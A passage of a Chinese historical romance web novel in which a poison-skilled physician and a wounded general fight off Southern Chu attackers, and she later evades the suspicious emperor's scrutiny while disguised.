顾凛鹤见状,连忙退到阿孟身边:“阿孟,你没事吧?”
阿孟摇摇头:“我没事,你呢?伤口有没有裂开?”
顾凛鹤强忍着疼痛,摇了摇头:“无妨。”
“快走!”贺景行催促道,“此地不宜久留。”
三人迅速进入营帐,只见里面堆放着几个大箱子,上面贴着特殊的封条。
阿孟上前打开一个箱子,只见里面装满了各种药材,其中就有配制青冥散变种所需的罕见药材。
“果然在这里!”阿孟眼中闪过一丝寒光。
她迅速取了一些药材样本,又在营帐中仔细搜寻。
很快,她便在一张桌案下发现了一个暗格,里面藏着几封书信。
阿孟打开一看,脸色骤变。
这些书信,竟是汉人与南楚将领的往来密信!
信中详细记录了**配方,如何协助南楚军队进攻边关,以及事成之后如何瓜分本朝的领土。
“狼子野心,昭然若揭!”顾凛鹤怒声道,“我这就将这些证据呈报朝廷,揭露墨司理的真面目!”
“不可,”阿孟阻止道,“我们现在人微言轻,贸然将证据呈上,只怕会被墨司理反咬一口。”
“那怎么办?”顾凛鹤急道,“难道就任由他为非作歹?”
“我们先将证据带回去,从长计议。”阿孟冷静道,“当务之急,是先找到解毒之法,救治军中将士。”
三人正欲离开,营帐外突然传来一阵嘈杂声。
“不好,他们追来了!”贺景行脸色一变。
“快走!”顾凛鹤拉起阿孟,便往外冲。
然而,他们刚冲出营帐,便被一群南楚士兵团团围住。
“你们是什么人?竟敢擅闯我军大营!”一名南楚将领厉声喝道。
顾凛鹤将阿孟护在身后,冷冷道:“要你命的人!”
说罢,他拔剑出鞘,与南楚士兵厮杀起来,阿孟和贺景行也加入了战斗。
贺景行虽擅长医术,他以银针为武器,专攻敌人穴位,往往一击便能制敌。
阿孟则利用自己对**的了解,将一些特制的**洒向敌人。
这些**虽不致命,却能让人四肢麻痹,失去战斗力,一时间,南楚士兵竟被三人打得节节败退。
然而,敌军人数众多,源源不断地涌来,三人渐渐体力不支,陷入了困境。
就在这千钧一发之际,远处突然传来一阵马蹄声。
“将军,我们来救你了!”沈副将带着一支精锐部队及时赶到,将
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南楚士兵杀得溃不成军。
“沈副将,你怎么来了?”阿孟惊喜道。
沈副将抹了一把脸上的血迹,大声道:“我奉命前来接应你们!”
原来,顾凛鹤早有安排,让沈副将率领一支精锐部队在南楚军营外待命,以防万一。
有了沈副将的支援,三人终于脱离了险境,他们带着证据,迅速返回边关大营。
南楚军营中,一名身着黑衣的男子正跪在南楚将领面前。
“将军,我们的人失手了。”黑衣男子低声道。
南楚将领脸色阴沉:“废物!连几个人都抓不住!”
“将军息怒,”黑衣男子连忙道,“我已经派人去追杀他们了,定会将他们的人头带回来。”
“哼,”南楚将领冷哼一声,“记住,务必将他们手中的证据销毁,绝不能让此事泄露出去。”
“属下明白。”黑衣男子应了一声,转身离去。
夜色中,几道黑影悄然离开了南楚军营,向着边关大营的方向追去。
顾凛鹤的营帐内,烛火摇曳。阿孟正小心地为他清理伤口,换上新药。
“嘶……”顾凛鹤倒吸一口凉气,眉头紧皱。
“忍着些,伤口有些深,还需几日才能痊愈。”阿孟轻声说着,手上的动作却不敢有丝毫停顿
顾凛鹤看着她专注的神情,心中涌起一股暖流。
他低声道:“阿孟,谢谢你。”
阿孟抬眸看了他一眼,淡淡一笑:“谢什么?你我之间,还需如此客气吗?”
她顿了顿,又道:“倒是你,以后切不可再如此鲁莽了。若不是沈副将及时赶到,后果不堪设想。”
顾凛鹤眼中闪过一丝愧疚:“是我连累了你们。”
“说什么连累不连累的,”阿孟嗔怪地看了他一眼,“我们既是同伴,自当同生共死。”
她将纱布缠好,打了个结,又仔细检查了一番,才放下心来。
“好了,伤口已经处理好了,这几日切记不可沾水,也不可剧烈运动。”阿孟叮嘱道。
顾凛鹤点点头:“我知道了。”
他看着阿孟,欲言又止。
第118章 军营遇袭
晚上,危机四伏。
边关大营的夜幕被无声撕裂,数道黑影如同鬼魅般,悄无声息地潜入营地深处。
他们的目标明确而唯一,正是阿孟与顾凛鹤所在的营帐。
营帐内,灯火摇曳,阿孟正与顾凛鹤低声商议着对策,营帐外看似平静,实则暗流涌动,谁也没有料到,危险已如毒蛇般悄然逼近。
“顾将军,墨司理的狼子野心,必须尽快昭告天下。”阿孟的声音带着一丝忧虑,她秀眉微蹙,心中始终笼罩着一层不安,“只是,如何才能让朝廷相信,我们手中的证据,才是扳倒他的关键?”
顾凛鹤沉吟片刻,眼神坚毅,“此事宜早不宜迟,待我伤势稍好,便亲笔修书一封,快马加鞭送往京城。务必让陛下知晓真相,方能阻止墨司理的阴谋。”
就在这时,一阵细微的破空声骤然响起,营帐的布帘被人猛力掀开,数道黑影如同离弦之箭般冲入,寒光闪烁的利刃,直指毫无防备的阿孟与顾凛鹤。
“小心!”顾凛鹤低喝一声,几乎是出于本能,他一把将阿孟拉到身后,挺身而出,挡在了她的身前。
刺客的攻势凌厉而狠辣,刀锋裹挟着凛冽的杀意,直奔顾凛鹤而来。
他不顾自身伤势未愈,腹部的伤口仿佛被再次撕裂般疼痛,但他咬紧牙关,强忍着剧痛,拔出佩剑,迎上了刺客的进攻。
“顾将军,你的伤!”阿孟惊呼一声,看着顾凛鹤略显踉跄的身形,心中焦急万分。
她想要上前帮忙,却被顾凛鹤厉声喝止。
“别过来!保护好自己!”顾凛鹤的声音带着一丝沙哑。
他身形虽有些虚弱,但剑招却依旧凌厉,每一招都带着决死之意,竭力抵挡着刺客的进攻,不容他们靠近阿孟半分。
然而,毕竟伤势未愈,顾凛鹤的动作渐渐变得迟缓起来,刺客的攻势却愈发猛烈,一道寒光闪过,顾凛鹤的肩头被划开一道口子,鲜血瞬间染红了衣衫。
“顾将军!”阿孟惊呼,再也顾不得其他,她迅速冷静下来,美眸中闪过一丝寒芒。
“别担心,顾将军,我来助你!”
她并非手无缚鸡之力的弱女子,至此,迅速从怀中掏出几个特制的小瓷瓶,指尖轻弹,数道无色无味的粉末便如同天女散花般,悄无声息地飘散在空气中。
瞅准刺客们进攻的间隙,阿孟果断将手中的**洒向敌人。
她深知这些刺客都是训练有素的死士,寻常的**未必能奏效,因此她所用的,乃是她精心调配的麻痹之毒。
**果然发挥了奇效,刺客们猝不及防,吸入了毒粉。
“怎么回事?”刺客们惊呼出声,眼中充满了惊恐与疑惑。
趁此机会,顾凛鹤抓住破绽,剑光闪烁,接连刺倒数名刺客。
阿孟也并未闲着,她穿梭于刺客之间,指尖银光闪烁,一枚枚银针准确无误地刺入刺客的穴位,进一步削弱他们的战斗力。
就在刺客们节节败退之际,营帐外突然传来一阵急促的脚步声。
“将军!”沈副将的声音洪亮而有力,如同惊雷般在夜空中炸响。
沈副将率领着一支精锐士兵,如同猛虎下山般冲入营帐,瞬间将剩余的刺客团团围住。
刺客们见势不妙,想要突围逃走,却被训练有素的士兵们死死缠住,根本无法脱身。
短短片刻之间,局势便发生了惊天逆转,原本凶狠的刺客,此刻却如同瓮中之鳖,束手就擒。
战斗很快结束,沈副将率领士兵将剩余的刺客全部制服,五花大绑地押了下去。
营帐内一片狼藉,血腥味弥漫在空气中。
阿孟快步走到顾凛鹤身边,看着他肩头触目惊心的伤口,原本冷若冰霜的脸上,瞬间布满了担忧和心疼。
“顾将军,你怎么样?伤口又裂开了!”阿孟的声音带着一丝颤抖,她小心翼翼地检查着顾凛鹤的伤势,“若不是为了保护我,你也不会……”
阿孟看着他虚弱的笑容,
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心中更加难受。
顾凛鹤轻声道:“我们先回去再说。”
回到营帐后,阿孟寸步不离地守在顾凛鹤身边,重新为他处理伤口。
她取出自己精心调配的药膏,轻轻地涂抹在伤口上,药膏带着淡淡的清香,能够有效地消炎止痛,促进伤口愈合。
“可能会有些疼,你忍一下。”阿孟一边上药,一边轻声叮嘱道,声音温柔如水。
顾凛鹤静静地看着她,眼中充满了柔情蜜意,他摇了摇头,轻声道:“只要你在我身边,这点疼,又算得了什么?”
阿孟没有说话,只是更加专注地为他包扎伤口。
熬好药后,阿孟小心翼翼地将药汁倒入碗中,待药汁稍稍冷却后,她才端着药碗,一勺一勺地喂给顾凛鹤喝。
“慢点喝,小心烫。”阿孟柔声叮嘱道,她的眼神中充满了关切与担忧。
顾凛鹤乖乖地张开嘴,将药汁一口一口地喝下去,他的目光始终没有离开过阿孟的脸庞,仿佛要将她的身影深深地烙印在脑海中一般。
喝完药后,阿孟又细心地叮嘱顾凛鹤饮食和休息的注意事项,从饮食的清淡,到卧床的姿势,再到休息的时辰,她都一一详细地交代清楚,生怕他有任何疏忽。
“这几日,你一定要卧床静养,切不可再动武,知道吗?”阿孟语气严肃地说道,她的眼神中充满了不容置疑的坚定。
顾凛鹤看着她认真的模样,心中暖意融融,他点了点头,轻声道:“我听你的,一切都听你的。”
阿孟这才露出一丝欣慰的笑容,她伸出手,轻轻地抚摸着顾凛鹤的脸颊,柔声道:“好好休息吧,我去看看沈副将审问的结果。”
她起身离开营帐,留下顾凛鹤一人静静地躺在床上。
他的目光追随着阿孟的背影,直到她消失在营帐门口,才缓缓收回,嘴角却勾起一抹幸福的微笑。
能够得到阿孟如此悉心的照料,即便伤口再痛千倍,他也觉得甘之如饴。
第119章 伤亡惨重
边关烽烟,又一次无情燃起。
审讯的结果不出所料,那些刺客都是南楚的死士,嘴硬得很,什么都没能问出来。
阿孟将这个结果告诉顾凛鹤时,他正靠坐在床头,脸色依旧苍白,但眉宇间已恢复了几分往日的英气。
“意料之中。”顾凛鹤眉头深皱,面色凝重,“南楚人既然敢派刺客来,就绝不会留下任何把柄。”
阿孟点点头,她走到窗边,望着远处火光微闪,心中涌起一阵不安:“只是,这些刺客久久未归,南楚将领必定会猜到他们已经暴露。我担心……”
她的话还没说完,营帐外突然传来一阵急促的马蹄声,紧接着,一名士兵急匆匆地冲了进来。
“报——”士兵的声音嘶哑而焦急,“南楚大军来袭,已至边关外十里!”
顾凛鹤猛地坐直了身子,牵动了伤口,疼得他倒吸一口凉气。
“顾将军!”阿孟连忙上前扶住他,“你的伤……”
“无妨!”顾凛鹤推开她的手,眼中燃烧着熊熊战意,“传令下去,全军备战!”
“可是你的伤势未愈,如何能上阵杀敌?”阿孟急切地劝阻道,“边关将士众多,并非只有你一人能领兵作战。”
“阿孟,你懂我的。”顾凛鹤看着她,眼神坚定,“我是这支军队的主帅,是他们的精神支柱。若我此时退缩,军心必乱。”
“可……”阿孟还想说什么,却被顾凛鹤打断。
“阿孟,你不必忧虑,”顾凛鹤的声音斩钉截铁,“身为将军,保家卫国,乃是我的职责所在。纵然身死,亦无怨无悔!”
阿孟看着他,心中百感交集。如此将领,实乃我朝三生有幸。
“好,我明白了。”阿孟深吸一口气,率先一步站在营帐门前,“既然你执意如此,我便陪你一起去。”
“不行!”顾凛鹤想也没想就拒绝了,“战场之上,刀剑无眼,你一个女子,怎能……”
“顾将军,你又忘了,我可不是什么手无缚鸡之力的弱女子。”阿孟打断了他的话,拿出药瓶稍微晃了晃,“我会医术,也会用毒。纵然不能上阵杀敌,也能在后方救治伤员。”
顾凛鹤还想再说些什么,阿孟却已经转身走向一旁,从架子上取下了他的佩剑。
“这是你的剑。”阿孟将剑递到顾凛鹤面前,语气平静,“既然要上战场,怎能没有兵器?”
顾凛鹤接过剑,看着阿孟坚定的眼神,心中感动。
阿孟这是在用自己的方式支持他。
“好,我们一起去。”顾凛鹤握紧了手中的剑,声音铿锵有力,“今日,便让南楚人见识见识,我朝将士的厉害!”
阿孟没有再说什么,她默默地走到顾凛鹤身边,从药箱中取出一个小瓷瓶,倒出一些药粉,均匀地涂抹在剑刃上。
“这是……”顾凛鹤有些疑惑。
“这是我特制的**之一。”阿孟解释道,“有见血封喉之效。”
“有你的**相助,我们定能旗开得胜!”顾凛鹤豪气干云道,“阿孟,你当真是女中豪杰,边关苦寒,你却还能……”
话音未落,阿孟便连忙打断:“客气话不必再说,我也愿与边关将士共进退,即便为国捐躯,也比困在宫中来的有意义。”
两人并肩走出营帐,迎面而来的,是沈副将焦急的面容。
“将军,南楚大军来势汹汹,已经开始攻城了!”沈副将的声音中带着一丝焦虑。
“知道了。”顾凛鹤点了点头,语气平静,“传令下去,全军迎敌!”
“是!”沈副将领命而去。
顾凛鹤转头看向阿孟,眼中闪过一丝柔情:“阿孟,你怕吗?”
阿孟摇了摇头,“不怕。有你在,有边关这么多将士在,我什么都不怕。”
顾凛鹤笑了笑,两人并肩向着城墙而去。
营帐内,贺景行望着他们离去的背影,轻轻叹了口气。
“您不担心小姐吗?”云珠走到贺景行身边,轻声问道。
“担心又如何?”贺景行苦笑一声,“阿孟的性子,你又不是不知道。她决定的事情,谁也改变不了。”
“可是……”云珠
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还想说什么,却被贺景行打断。
“若她是个安于现状的性子,我大约也不会愿意做她师父。”贺景行摆了摆手,“我们还是做好自己的事情吧。战场之上,伤亡在所难免。我们多救治一个伤员,就能为他们多争取一份胜算。”
边关城墙上,喊杀声震天,箭矢如雨般落下。
顾凛鹤身披铠甲,手持长剑,站在城头,指挥着将士们奋勇杀敌。
阿孟紧随其后,她背着药箱,穿梭于伤兵之间,为他们包扎伤口,止血疗伤。
“将军,南楚人攻势太猛,我们快抵挡不住了!”一名士兵浑身是血,跌跌撞撞地跑到顾凛鹤身边,焦急地说道。
顾凛鹤眉头紧锁,南楚人这次是有备而来,想要一举攻下边关。
“传令下去,死守城门,绝不能让南楚人踏入边关半步!”顾凛鹤的声音铿锵有力,传遍了整个城墙。
“是!”士兵领命而去。
阿孟看着顾凛鹤,眼中满是担忧。
顾凛鹤的伤势未愈,强行上阵,只会让伤势更加严重。
“顾将军,你一定要小心。”阿孟轻声说道。
“放心,我没事。”顾凛鹤冲她笑了笑,眼中满是自信,“区区南楚人,还奈何不了我!”
说罢,他提剑冲入敌阵,与南楚士兵厮杀起来。
阿孟看着他奋勇杀敌的身影,心中既骄傲又担忧。
援军尚未赶到管将士伤亡惨重,即便功夫了得,也无法碾压攻城之敌。
战场之上,刀光剑影,血肉横飞。
顾凛鹤身先士卒,奋勇杀敌,他的剑法凌厉,每一剑都带着雷霆万钧之势,让南楚士兵闻风丧胆。
然而,双拳难敌四手,顾凛鹤的体力渐渐不支,动作也开始变得迟缓起来。
“将军小心!”阿孟眼尖,看到一名南楚士兵从背后偷袭顾凛鹤,她惊呼一声,不顾一切地冲了上去。
“噗嗤!”
利刃入肉的声音,在喧嚣的战场上显得格外刺耳。
有士兵用自己的身体,挡住了刺向顾凛鹤的致命一击。
第120章 援军赶到
“将军……”那士兵口中涌出鲜血,却还勉强支撑着,声音微弱,“快……杀敌……”
言罢,身子一软,倒在了血泊之中。
顾凛鹤目眦欲裂,悲愤交加:“兄弟!”
他反手一剑,将那偷袭的南楚士兵斩于剑下,却无法挽回逝去的生命。
阿孟眼眶泛红,来不及悲伤,她迅速从药箱中取出金疮药,为周围受伤的士兵止血包扎。
“杀!”顾凛鹤怒吼一声,声音嘶哑,带着无尽的愤怒与悲痛,再次冲入敌阵。
边关告急的文书,如雪片般飞入京城。
墨司渊以平乱为由,亲率大军,日夜兼程,赶赴边关。
表面上,他是为了稳定边疆,平息战乱。
实则,他心中另有盘算。
“周海,你说,阿孟会不会就在边关?”
行军途中,墨司渊突然开口,声音低沉,让人捉摸不透。
周海躬身立于一旁,小心翼翼地回答:“皇上,奴才不敢妄加揣测。”
“朕倒要看看,究竟是谁在背后捣鬼!”墨司渊眼中杀机毕现,“传朕旨意,沿途各州府县,严加盘查,但凡有可疑之人,一律不得放过!”
“奴才遵旨。”周海领命,心中暗自为阿孟捏了一把汗。
他知道,墨司渊此行名为平乱,实为寻人。
墨司渊表面部署防御,调兵遣将,实则暗中留意所有关于阿孟的消息。
他派出心腹,四处打探,不放过任何蛛丝马迹。
“启禀皇上,前方发现一队商旅,形迹可疑。”一名侍卫前来禀报。
墨司渊眼中精光一闪:“带上来!”
片刻之后,几名商旅打扮的人被带到墨司渊面前。
他们战战兢兢地跪在地上,不敢抬头。
“你们是做什么的?从哪里来,要到哪里去?”墨司渊冷冷地问道。
“回皇上,我们是贩卖药材的商人,从南边来,要到北边去。”领头的商人颤声回答。
“药材?”墨司渊眉头一挑,“可有凭证?”
“有……有!”商人连忙从怀中掏出一叠文书,双手呈上。
墨司渊接过文书,仔细查看。
他发现,这些文书并无问题,但商人的神色却有些慌张。
“你们可曾见过一个女子,大概二十岁左右,容貌出众,精通医术?”墨司渊突然问道。
商人们面面相觑,皆是摇头。
“皇上,小的们从未见过这样的人。”领头的商人说道。
墨司渊盯着他们看了许久,见他们不似说谎,这才挥了挥手:“放他们走。”
“是,皇上。”侍卫应了一声,将商人们带了下去。
周海见状,上前一步,轻声问道:“皇上,您可是怀疑孟贵妃就在这附近?”
“朕只是觉得,此事没那么简单。”墨司渊淡淡地说道,“孟贵妃若真想逃,绝不会留下任何痕迹,只是这荒郊野岭处,居然还有商队出现,你不觉得奇怪?”
他顿了顿,又道:“继续查,不要放过任何可疑之人。”
周海抬头看了一眼皇上,沉默不语,默默退到他身侧。
边关战场上,南楚军队攻势愈发猛烈。
阿孟虽有**相助,但边关守军依旧伤亡惨重。
将士们疲惫不堪,看着身边战友不断倒下,心中充满了绝望。
“援军怎么还不来?再这样下去,我们都要死在这里了!”
“难道,朝廷真的放弃我们了吗?”
士气低落,军心涣散,阿孟看在眼里,急在心里。
她知道,若再无援军,边关必破。
“顾将军,不能再这样下去了。”阿孟找到顾凛鹤,急切地说道,“我们必须想办法突围。”
顾凛鹤脸色苍白,身上血迹斑斑,但他依旧咬牙坚持着。
“突围?谈何容易?”顾凛鹤苦笑一声,“南楚人已经将我们团团围住,我们根本无路可退。”
“不,我们还有机会。”阿孟坚定地说道,“只要我们能坚持到援军到来,就一定能反败为胜。”
“援军……”顾凛鹤眼中闪过一丝黯然,“但愿他们能及时赶到吧。”
就在这时,南楚军队再次发起猛攻。
才刚歇息了没一阵子,敌方的援军又冲了过来,一波接一波的,想要推平边关。
看着远处密密麻
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麻的军队,马蹄声起,顾凛鹤面色凝重,跌跌撞撞的朝营帐之外走去。
“顾将军!”眼看他身形欲坠,阿梦立刻上前扶着对方的肩膀。
“阿孟,你还是去营帐躲着吧,战场危险,我这副样子已经护不住你。”
阿孟摇了摇头,就这么架着他一步一步迈向城门。
“不打紧,你不走,我便不走,方才不是说好了吗?要与城中人共进退,你既不便走动,我便做你的腿!”
顾凛鹤眼神微闪,点了点头。
边关守军拼死抵抗,但终究寡不敌众,防线被突破。
“杀!”南楚士兵蜂拥而入,与边关守军展开了激烈的肉搏战。
阿孟、顾凛鹤身先士卒,带领将士们奋勇杀敌。
然而,敌军人数众多,他们渐渐力不从心。
眼看着边关即将失守,将士们一个个倒下,阿孟心中充满了绝望。
“难道,真的要结束了吗?”她喃喃自语,眼中颇为不甘。
就在这千钧一发之际,远处突然传来一阵震天的马蹄声。
“援军来了!”城头的士兵吹响号角,朝着城门口大喊。
“是皇上!皇上亲率大军来救我们了!”不知是谁喊了一句,顿时,边关守军士气大振。
只见一支军队,如同神兵天降,出现在战场上。
为首之人,正是墨司渊。
他身披金甲,手持长剑,威风凛凛,宛如天神下凡。
“将士们,随朕杀敌!”墨司渊一声令下,大军如潮水般涌向南楚军队,“立刻将伤兵带下去,好生休养!”
南楚军队猝不及防,**得措手不及。
“皇上万岁!”
“是皇上来救我们了,杀了他们那帮畜生!”
边关守军士气高涨,奋勇杀敌。
有了援军的加入,战局瞬间逆转。
在看到马上那熟悉的人影时,顾凛鹤和阿孟二人皆是倒吸一口凉气。
顾凛鹤挥手,破败的披风盖上阿孟头顶,立刻掩护着她返回营帐。
“没想到皇上亲率大军,你速速离开,想法子躲起来!”
不等阿孟回应,顾凛鹤已然远去。
第121章 随机应变
残阳如血,边关的硝烟渐渐散去。
“谢皇上救命之恩!”
众将士齐刷刷跪倒在地,声音震天,回荡在刚刚经历过血战的战场上。
墨司渊面无表情,只是微微颔首,示意众人起身,便大步流星地朝军营内走去。
他步履匆匆,眉宇间隐隐透着一股焦躁。
进入军营,墨司渊甚至来不及听取战况汇报,便直截了当地下令:“顾凛鹤何在?速速让他来见朕!”
顾凛鹤闻讯,急忙赶来。
他身上甲胄未卸,新伤旧伤交叠,血迹斑斑,显得格外狼狈。
“臣顾凛鹤,参见皇上!”顾凛鹤单膝跪地,低头行礼,声音嘶哑。
墨司渊的目光落在他身上,上上下下打量着,眼神锐利如刀。
他看着顾凛鹤这副模样,心中冷笑。
若非阿孟在此,顾凛鹤岂能这般生龙活虎?
想到这,他语气冰冷,凌厉质问:“顾将军身上的伤看来是无碍了,军医医术如此高明,朕倒要好好见识见识。”
顾凛鹤心头一紧,暗道不好。
墨司渊这是起了疑心!
“皇上,不过是军医罢了,您……”顾凛鹤故意支吾着,试图搪塞过去。
“闭嘴!”墨司渊猛地一拍桌案,厉声喝道,“朕让你把人叫来,你聋了吗?!”
顾凛鹤浑身一震,不敢再多言。
他悄悄向沈副将使了个眼色,示意他速去安排,沈副将会意,连忙退了出去。
此刻,军营一处偏僻的角落里,阿孟、云珠和贺景行三人正聚在一起,商议着对策。
“师父,皇上来此,只怕是来者不善。”阿孟眉头紧锁,忧心忡忡。
贺景行倒不慌张,反而沉吟道:“怕什么?兵来将挡,水来土掩。这里还有几张**,保准他认不出来。”
云珠在一旁急得直跺脚,担忧地望着阿孟:“可是……万一呢?皇上可不是好糊弄的。”
“云珠说得是,”阿孟摇了摇头,眉头紧皱,“皇上生性多疑,若是我们露出半点破绽,后果不堪设想。”
正说着,沈副将急匆匆地跑了进来。
“孟姑娘,不好了!皇上要见顾将军的军医,这可如何是好?”
阿孟闻言,反倒冷静下来。
“事到如今,躲是躲不过了。师父,劳烦您了。”
贺景行点点头,从药箱中取出一张**,开始为阿孟易容。
片刻之后,一张陌生的面孔出现在众人眼前。
沈副将带着易容后的阿孟,来到了墨司渊面前。
墨司渊抬眼望去,只见一个身形纤瘦、面容普通的女子站在那里。
他微微一愣,眼中闪过一丝疑惑。
这……不是阿孟。
顾凛鹤见状,连忙上前一步,亲昵地搂住阿孟的肩膀,介绍道:“皇上,这是末将的内人,姓江,名如梦。她略通医术,末将受伤期间,多亏了她悉心照料。”
墨司渊的目光在两人身上来回扫视,眼神如鹰隼般锐利。
他盯着“江如梦”,心中疑窦丛生。
“你何时娶的妻?朕怎么从未听说过?”墨司渊语气冰冷,带着一丝质问。
顾凛鹤心中一惊,强自镇定地回答:“回皇上,边关战事吃紧,末将便匆忙成了婚贴身照顾。本想等战事平息,再向皇上禀明,还望皇上恕罪。”
墨司渊冷哼一声,没有说话。
他仔细打量着眼前的“江如梦”,可这女子神色平静,举止得体,丝毫没有慌乱之色。
墨司渊一时之间,也无法确定她究竟是不是阿孟。
他只能暂时压下心中的疑虑,沉声道:“既然如此,那便罢了。”
顾凛鹤暗暗松了口气。
回到营帐后,他立刻屏退左右,只留下沈副将一人。
“沈副将,你立刻派人严加防范,绝不能让任何人靠近这座营帐!”顾凛鹤沉声吩咐道,“皇上必定还会派人暗中监视,我们务必小心谨慎。”
沈副将领命而去。
顾凛鹤这才转身看向阿孟,眼中满是歉意。
“阿孟,方才情势危急,只能出此下策,委屈你了。”
阿孟摇了摇头,微微一笑:“无妨。眼下最要紧的,是应对皇上的试探。”
她说着,从药箱中取出药膏和纱布,开始为顾凛鹤处理伤口。
“嘶……”顾凛鹤疼得倒吸
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一口凉气。
“忍着点。”阿孟轻声说道,手上的动作却更加轻柔。
与此同时,墨司渊正坐在自己的营帐中,脸色阴沉得可怕。
周海小心翼翼地站在一旁,不敢出声。
“周海,你觉得,那个江如梦,会不会就是孟贵妃?”墨司渊突然开口问道。
周海思索片刻,连忙跪倒在地:“皇上,奴才不敢妄言。”
“朕让你说!”墨司渊猛地一拍桌案,怒吼道。
周海顿时浑身发抖,战战兢兢地回答:“奴才倒是觉得那女子似乎有几分眼熟……但奴才又觉得那女子不是孟贵妃。”
“眼熟?”墨司渊眯起了眼睛,“你确定?”
“奴才不敢确定。”周海的声音越来越小。
墨司渊沉默了片刻,突然冷笑一声:“好,好得很!朕倒要看看,你们能瞒朕到几时!”
他眼中闪过一丝狠厉,对周海吩咐道:“去,派人暗中监视顾凛鹤的营帐,一有风吹草动,立刻向朕禀报!”
“奴才遵旨。”周海连忙退了出去。
夜幕降临,边关的夜晚格外寒冷。
顾凛鹤的营帐外,几道黑影悄无声息地靠近。
他们是墨司渊派来的暗卫,奉命监视营帐内的一举一动。
营帐内,顾凛鹤和贺景行也察觉到了外面的异样。
“看来,皇上还是不放心。”贺景行低声说道。
顾凛鹤眉头紧锁:“我们必须尽快想办法摆脱困境。”
阿孟坐在一旁,沉默不语。
她知道,眼下的局势对他们极为不利。
夜色渐深,边关的寒风呼啸着,吹得营帐猎猎作响。
顾凛鹤的营帐内,气氛凝重而压抑。
“阿孟,你可有什么法子?”顾凛鹤看向阿孟,眼中带着一丝期盼。
“皇上多疑,我们越是遮掩,他越是起疑,”阿孟放下手中的医书,缓缓开口,打破了营帐内的沉寂,“倒不如……”
她顿了顿,眼中闪过一丝决然:“倒不如主动出击,让他相信,我当真只是个普通的军医,江如梦。”
“主动出击?”顾凛鹤和贺景行对视一眼,都有些惊讶。
第122章 主动接触
在他们看来,此刻避嫌还来不及,阿孟竟然要主动往上凑?
“没错。”阿孟点点头,走到舆图前,“皇上不是怀疑我的身份吗?那我就让他亲眼看看,我究竟是谁。”
她纤细的手指在舆图上轻轻划过,最终停留在了一处:“我们可以这样……”
阿孟凑近两人,低声说出了自己的计划。
顾凛鹤和贺景行听完,眼中都露出了赞赏。
“好一个将计就计!”贺景行抚掌赞叹,“阿孟,你这脑子,不去当谋士真是可惜了。”
“师父谬赞了。”阿孟淡淡一笑,“不过是些雕虫小技罢了。”
顾凛鹤也点头称赞:“此计甚妙!只是……会不会太过冒险?”
“富贵险中求。”阿孟语气坚定,“若想彻底摆脱皇上的怀疑,这是唯一的办法。”
“好,就这么办!”顾凛鹤一拍桌案,果断道,“事不宜迟,我们立刻行动。”
几日后,墨司渊果然以身体不适为由,传召“江如梦”前来诊脉。
阿孟接到旨意,心中了然。
这是墨司渊的试探,也是她的机会。
“师父,一切都准备好了吗?”阿孟看向贺景行。
贺景行点点头:“放心,万无一失。”
阿孟深吸一口气,拎起药箱,跟着传旨的太监,朝墨司渊的营帐走去。
营帐内,墨司渊斜倚在软榻上,脸色晦暗不明。
他看着阿孟缓步走来,目光如炬,似乎要将她看穿。
“民女江如梦,参见皇上。”阿孟不卑不亢地行礼。
“平身。”墨司渊的声音低沉而威严,“朕近日身体不适,你来给朕瞧瞧。”
“是。”阿孟走上前,跪坐在软榻旁,伸出手,轻轻搭在墨司渊的手腕上。
她屏息凝神,仔细为墨司渊把脉。
墨司渊则一动不动地盯着她,观察着她的每一个表情和动作。
片刻之后,阿孟收回手,微微皱眉:“皇上,您近日忧思过度,气血不畅,需静心调养。”
说着,她从药箱中取出几味药材,一一摆放在桌案上。
“这几味药,分别是……”阿孟详细地解释着每味药的用法和功效。
墨司渊听着,心中半信半疑。
他看不出阿孟有任何破绽,但直觉告诉他,事情没那么简单。
为了进一步试探,墨司渊突然开口:“听闻你还会用毒,不知是真是假?”
阿孟心中一凛,知道这是墨司渊在试探自己在战场上的表现。
她抬起头,坦然地看向墨司渊,语气平静:“回皇上,民女略通医术,也会用一些简单的**。战场之上,刀剑无眼,民女用毒,不过是为了自保,也是为了救治伤员。”
“哦?”墨司渊挑眉,“你用的什么毒?”
“不过是些普通的麻痹散罢了。”阿孟淡淡一笑,“皇上若是不信,可以问问军中的将士,他们都是亲眼所见。”
墨司渊盯着她看了许久,见她神色坦荡,不似作伪,心中疑虑稍减。
“罢了。”墨司渊摆了摆手,“你下去吧。”
“是。”阿孟起身行礼,转身离开。
走出营帐,阿孟暗暗松了口气。
她知道,自己暂时算是过关了。
但墨司渊生性多疑,绝不会轻易放弃。
回到顾凛鹤的营帐,阿孟将情况告知了众人。
“皇上虽然没有当场发作,但必定还在暗中观察。”顾凛鹤眉头紧锁,“我们必须更加小心谨慎。”
“那是自然。”贺景行捋了捋胡须,“接下来,咱们可不能有丝毫松懈。”
“嗯。”阿孟点点头,“从现在起,我们的一言一行,都要格外注意。绝不能让墨司渊抓到任何把柄。”
墨司渊的营帐内,烛火摇曳。
“那个江如梦,当真只是个普通的军医?”墨司渊坐在桌案前,手指轻轻敲打着桌面,发出沉闷的声响。
周海躬身立在一旁,小心翼翼地回答:“回皇上,奴才已经派人查过了,江如梦确实是顾将军在边关所娶,并无任何可疑之处。”
“并无任何可疑之处?”墨司渊冷笑一声,“朕看未必。”
墨
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司渊显然不信:“顾凛鹤在边关多年,从未听说他有娶妻之意,偏偏在这个时候冒出个妻子来,还恰好精通医术,你不觉得蹊跷吗?”
他站起身,走到窗前,望着远处黑沉沉的夜空,眼中闪过一丝阴鸷。
“继续查,给朕查清楚她的底细!”墨司渊的声音冰冷而决绝,“朕就不信,她能瞒天过海!”
“奴才遵旨。”周海连忙应道,退了出去。
墨司渊独自站在窗前,心中烦躁不安。
他总觉得,江如梦和阿孟有着某种联系,可他却找不到任何证据,这种感觉让他如鲠在喉,寝食难安。
另一边,阿孟和顾凛鹤也在商议着对策。
“阿孟,皇上那边还是不肯罢休。”顾凛鹤眉头紧锁,语气担忧。
阿孟没有直接回答,而是转头看向一旁的贺景行:“师父,解药研制得如何了?”
贺景行放下手中的药杵,摇了摇头:“这青冥散的变种,比我想象的还要棘手。要研制出解药,恐怕还需要些时日。”
“无妨。”阿孟淡淡一笑,“我自有办法。”
墨司渊的疑心,像边关的寒风一样,丝丝缕缕地渗透进军营的每一个角落。
他盯着周海,语气阴沉,“沈副将最近有什么异动?”
周海躬身回答,“回皇上,沈副将一切如常,只是……似乎比往日更加小心谨慎了。”
墨司渊冷笑一声,“小心谨慎?呵,这是做贼心虚了。”
他眯起眼睛,眼神锐利,“继续盯着他,务必查清楚,他和那个江如梦,到底有什么猫腻!”
